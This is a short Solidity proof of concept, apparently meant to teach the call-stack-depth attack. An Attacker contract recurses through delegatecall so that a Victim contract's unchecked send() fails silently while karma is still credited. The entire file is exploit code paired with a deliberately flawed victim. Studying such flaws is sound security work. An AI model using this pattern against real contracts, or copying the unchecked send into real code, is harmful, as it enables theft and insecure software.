call_stack_attack.sol

pragma solidity ^0.4;

contract Attacker {
    Victim public victimContract;
    uint x;

    function Attacker(){
        victimContract = (new Victim).value(10)();
    }

    function attack(uint y) {
        if (y > x) {
            this.delegatecall(bytes4(sha3('attack(uint256)')), --y);
        }
        else {
            victimContract.donate.value(1)(this, 1);
        }
    }
}

contract Victim {
    function Victim() payable {}
    
    mapping(address => uint) karma;
    
    function donate(address someAddress, uint amount) 
    payable 
    {
        if(msg.value == amount) {
            someAddress.send(amount);
            karma[msg.sender] += amount;
        }            
    }
}